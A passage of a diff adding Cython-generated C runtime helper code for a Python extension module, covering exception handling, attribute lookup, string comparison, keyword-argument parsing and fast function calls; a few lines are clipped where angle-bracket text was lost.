PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t 